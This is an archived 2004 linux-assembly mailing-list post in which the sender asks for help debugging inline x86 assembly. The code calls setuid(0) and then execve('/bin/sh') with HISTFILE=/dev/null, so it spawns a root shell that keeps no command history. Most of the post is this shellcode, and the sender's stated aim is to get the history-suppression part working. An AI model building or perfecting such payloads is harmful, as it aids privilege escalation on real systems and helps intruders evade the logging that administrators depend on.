All of lore.kernel.org
 help / color / mirror / Atom feed
* execve with env..
@ 2004-05-27 17:23 Danett song
  2004-05-27 19:40 ` fmarmond
  0 siblings, 1 reply; 7+ messages in thread
From: Danett song @ 2004-05-27 17:23 UTC (permalink / raw)
  To: linux-assembly

Hi,

I'm trying code via asm inline a code that will call
setuid the execve() to call /bin/sh but it must pass
as last argument (env) the HISTFILE=/dev/null and then
call exit, i done this code and it run, but i don't
know why it doesn't set the env HISTFILE=/dev/null :(

code:

#include <stdio.h>

int main(){

__asm__(
        "xor %eax, %eax   \n"
        "xor %ebx, %ebx   \n"
        "mov $0x17, %al   \n"
        "int $0x80        \n"
        "xor  %eax,%eax   \n"
        "push %eax        \n"
        "push $0x68732F2F \n"
        "push $0x6E69622F \n"
        "mov  %esp,%ebx   \n"
        "push %eax        \n"
        "push %ebx        \n"
        "mov  %esp, %ecx  \n"
        "xor  %edx, %edx  \n"
        "push $0x6C6C756E \n"
        "push $0x2F2F7665 \n"
        "push $0x642F2F3D \n"
        "push $0x454C4946 \n"
        "push $0x54534948 \n"
        "push %eax        \n"
        "mov  %esp, %edx  \n"
        "mov  $0x0b, %al \n" 
        "int  $0x80      \n" 
        "xor  %eax,%eax  \n" 
        "mov  $0x01,%al  \n" 
        "int  $0x80      \n"

        );

return(0);
}

Someone know what i'm making wrong ?

Thkz.


______________________________________________________________________

Participe da pesquisa global sobre o Yahoo! Mail: 
http://br.surveys.yahoo.com/global_mail_survey_br

^ permalink raw reply	[flat|nested] 7+ messages in thread

end of thread, other threads:[~2004-06-05 17:17 UTC | newest]

Thread overview: 7+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2004-05-27 17:23 execve with env Danett song
2004-05-27 19:40 ` fmarmond
2004-05-27 21:05   ` Danett song
2004-05-28  8:54     ` Frederic Marmond
2004-05-31 18:32       ` Danett song
2004-06-01  8:29         ` Frederic Marmond
2004-06-05 17:17   ` Assembler Developer's Kit (ADK)/HLA v2.0 Update Randall Hyde

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.